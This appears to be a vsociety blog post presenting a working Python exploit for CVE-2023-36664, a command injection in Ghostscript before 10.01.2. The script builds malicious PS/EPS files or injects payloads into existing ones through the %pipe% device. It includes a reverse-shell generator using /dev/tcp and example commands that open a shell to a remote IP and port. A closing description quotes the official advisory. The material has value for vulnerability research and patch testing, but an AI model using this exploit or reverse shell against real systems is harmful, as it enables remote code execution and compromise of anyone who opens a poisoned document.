CVE-2023–36664: Command injection with Ghostscript PoC + exploit

vsociety
5 min readAug 18, 2023

Summary

Ghostscript command injection vulnerability PoC (CVE-2023–36664)

general

1 # @jakabakos
2 # Exploit script for CVE-2023-36664
3 # Injects code into a PS or EPS file that is triggered when opened with Ghostscript version prior to 10.01.2
4 # Tested with Ghostscript version 10.01.1
5
6 import argparse
7 import re
8 import os
9
10 # Function to generate payload for reverse shell
11 def generate_rev_shell_payload(ip, port):
12 payload = f"UNIX_REV_SHELL_PAYLOAD=f\"0<&196;exec 196<>/dev/tcp/{ip}/{port}; sh <&196 >&196 2>&196\""
13 return payload
14
15 # Function to generate dummy PS or EPS file with payload
16 def generate_payload_file(filename, extension, payload):
17 if extension == 'ps':
18 content = f"""%!PS
19 /Times-Roman findfont
20 24 scalefont
21 setfont
22
23 100 200 moveto
24 (Welcome at vsociety!) show
25
26 30 100 moveto
27 60 230 lineto
28 90 100 lineto
29 stroke
30 {payload}
31 showpage"""
32
33 elif extension == 'eps':
34 content = f"""%!PS-Adobe-3.0 EPSF-3.0
35 %%BoundingBox: 0 0 300 300
36 %%Title: Welcome EPS
37
38 /Times-Roman findfont
39 24 scalefont
40 setfont
41
42 newpath
43 50 200 moveto
44 (Welcome at vsociety!) show
45
46 newpath
47 30 100 moveto
48 60 230 lineto
49 90 100 lineto
50 stroke
51 {payload}
52 showpage"""
53
54 filename = filename + '.' + extension
55 with open(filename, 'w') as file:
56 file.write(content)
57
58 # Function to inject payload into an existing file
59 def inject_payload_into_file(filename, payload):
60 # Check if the file has the .eps or .ps extension
61 if filename.lower().endswith('.eps'):
62 # Read the existing content of the EPS file
63 with open(filename, 'r') as eps_file:
64 lines = eps_file.readlines()
65
66 # Find the first line not starting with %
67 for i, line in enumerate(lines):
68 if not line.strip().startswith('%'):
69 # Insert the payload at this line
70 lines.insert(i, payload + '\n')
71 break
72
73 # Write the modified content back to the file
74 with open(filename, 'w') as eps_file:
75 eps_file.writelines(lines)
76 elif filename.lower().endswith('.ps'):
77 # Append payload to the end of the PS file
78 with open(filename, 'a') as ps_file:
79 ps_file.write('\n' + payload)
80 else:
81 print("[-] Only PS and EPS extensions are allowed.")
82
83 # Main function
84 def main():
85 parser = argparse.ArgumentParser(description="Creating malicious PS/EPS files exploiting CVE-2023-36664.")
86 parser.add_argument("-g", "--generate", action="store_true", help="Generate a new file")
87 parser.add_argument("-i", "--inject", action="store_true", help="Inject payload into an existing file")
88 parser.add_argument("-p", "--payload", help="Payload to inject")
89 parser.add_argument("-r", "--revshell", action="store_true", help="Generate reverse shell payload")
90 parser.add_argument("-ip", "--ip", help="IP address for reverse shell payload")
91 parser.add_argument("-port", "--port", help="Port number for reverse shell payload")
92 parser.add_argument("-x", "--extension", choices=["ps", "eps"], help="Extension for the generated file")
93 parser.add_argument("-f", "--filename", default="malicious", help="Filename for the generated or injected file")
94
95 args = parser.parse_args()
96
97 # Validate payload options
98 if args.revshell and args.payload:
99 print("[-] Both --payload and --revshell cannot be used together.")
100 return
101
102 if args.revshell:
103 # Validate IP and port for reverse shell payload
104 if args.ip and args.port:
105 ip_pattern = re.compile(r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$")
106 port_pattern = re.compile(r"^\d{1,5}$")
107
108 if not ip_pattern.match(args.ip) or not port_pattern.match(args.port):
109 print("[-] Invalid IP address or port number.")
110 return
111 else:
112 print("[-] For reverse shell payload, both IP and port are required.")
113 return
114 payload = generate_rev_shell_payload(args.ip, args.port)
115
116 elif args.payload:
117 payload = args.payload
118
119 else:
120 print("[-] Either --payload or --revshell is required.")
121 return
122
123 # Modify payload for embedding
124 payload = f"(%pipe%{payload}) (w) file /DCTDecode filter"
125
126 # Generate or inject payload
127 if args.generate and args.inject:
128 print("[-] Both -g/--generate and -i/--inject cannot be used together.")
129 elif args.generate:
130 if args.extension and (args.extension == "ps" or args.extension == "eps"):
131 generate_payload_file(args.filename, args.extension, payload)
132 print(f"[+] Generated {args.extension.upper()} payload file: {args.filename}.{args.extension}")
133 else:
134 print("[-] For generating files, specify valid extension using -x/--extension: 'ps' or 'eps'.")
135 elif args.inject:
136 if os.path.exists(args.filename):
137 inject_payload_into_file(args.filename, payload)
138 print(f"[+] Payload successfully injected into {args.filename}.")
139 else:
140 print(f"[-] File {args.filename} not found.")
141 else:
142 print("[-] Specify either -g/--generate or -i/--inject.")
143
144 if __name__ == "__main__":
145 main()

Description

Ghostscript command injection vulnerability PoC (CVE-2023–36664)

General

Vulnerability disclosed in Ghostscript prior to version 10.01.2 leads to code execution (CVSS score 9.8).

Official vulnerability description:

Artifex Ghostscript through 10.01.2 mishandles permission validation for pipe devices (with the %pipe% prefix or the | pipe character prefix).

Debian released a security advisory mentioning the possible execution of arbitrary commands:

"It was discovered that Ghostscript, the GPL PostScript/PDF interpreter, does not properly handle permission validation for pipe devices, which could result in the execution of arbitrary commands if malformed document files are processed."

The exploitation can occur upon opening a PS or EPS file and can allow code execution caused by Ghostscript mishandling permission validation for pipe devices.

Repo

See my repo with the exploit here:

https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

Get Ghostscript

  • Download Ghostscript 10.01.1 executable here.
  • Direct link to download the Windows x64 executable here.

Usage

python3 CVE_2023_36664_exploit.py <input_file> <command>

Flowchart

Examples

Open file.eps and see that no calculator pops up:

gswin64c.exe -dNOSAFER .\file.eps

Run the exploit script to generate a new file called file_injected.eps:

python exploit.py --generate --payload "calc" --filename run_calculator --extension eps

Open this with Ghostscript to trigger the calculator (since the version 9.50 you also have to use -dNOSAFER option):

gswin64c.exe -dNOSAFER .\file_injected.eps

And the calculator pops up:

Other examples

Generate a new EPS file called run_calculator.eps with payload "calc" (pops up a new calculator on Windows)

python exploit.py --generate --payload calc --filename run_calculator --extension eps

Generate a new EPS file called rev_shell.eps with a custom IP (start a reverse shell when triggered on Unix)

python exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps

Generate a new PS file malicius.ps with payload "calc" (pops up a new calculator on Windows)

python exploit.py -g -p "calc" -x ps

Inject malicious custom payload (“calc") to an existing file called file.eps (pops up a new calculator on Windows)

python exploit.py --inject --payload "calc" --filename file.eps

Join vsociety: https://vsociety.io/

Checkout our discord: https://discord.gg/sHJtMteYHQ

--

--

vsociety

vsociety is open independent and user-centered community with features built specifically to make vulnerability research shareable and actionable at scale